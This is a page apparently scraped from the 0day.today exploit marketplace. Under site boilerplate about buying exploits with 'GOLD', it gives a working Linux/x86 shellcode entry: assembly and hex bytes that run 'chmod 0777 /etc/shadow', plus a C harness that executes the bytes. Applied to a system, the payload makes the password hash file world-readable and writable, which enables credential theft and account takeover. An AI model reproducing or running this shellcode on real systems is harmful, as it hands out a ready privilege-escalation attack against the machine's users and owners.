0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
linux/x86 execve-chmod 0777 /etc/shadow 58 bytes
*************************************************************** * Linux/x86 execve-chmod 0777 /etc/shadow 58 bytes *************************************************************** * Author: Hamza Megahed *************************************************************** * Twitter: @Hamza_Mega *************************************************************** * blog: hamza-mega[dot]blogspot[dot]com *************************************************************** * E-mail: hamza[dot]megahed[at]gmail[dot]com *************************************************************** xor %eax,%eax push %eax pushl $0x776f6461 pushl $0x68732f2f pushl $0x6374652f movl %esp,%esi push %eax pushl $0x37373730 movl %esp,%ebp push %eax pushl $0x646f6d68 pushl $0x632f6e69 pushl $0x622f2f2f mov %esp,%ebx pushl %eax pushl %esi pushl %ebp pushl %ebx movl %esp,%ecx mov %eax,%edx mov $0xb,%al int $0x80 ******************************** #include <stdio.h> #include <string.h> char *shellcode = "\x31\xc0\x50\x68\x61\x64\x6f\x77\x68\x2f\x2f\x73" "\x68\x68\x2f\x65\x74\x63\x89\xe6\x50\x68\x30\x37" "\x37\x37\x89\xe5\x50\x68\x68\x6d\x6f\x64\x68\x69" "\x6e\x2f\x63\x68\x2f\x2f\x2f\x62\x89\xe3\x50\x56" "\x55\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"; int main(void) { fprintf(stdout,"Length: %d\n",strlen(shellcode)); (*(void(*)()) shellcode)(); return 0; } # 0day.today [2024-12-25] #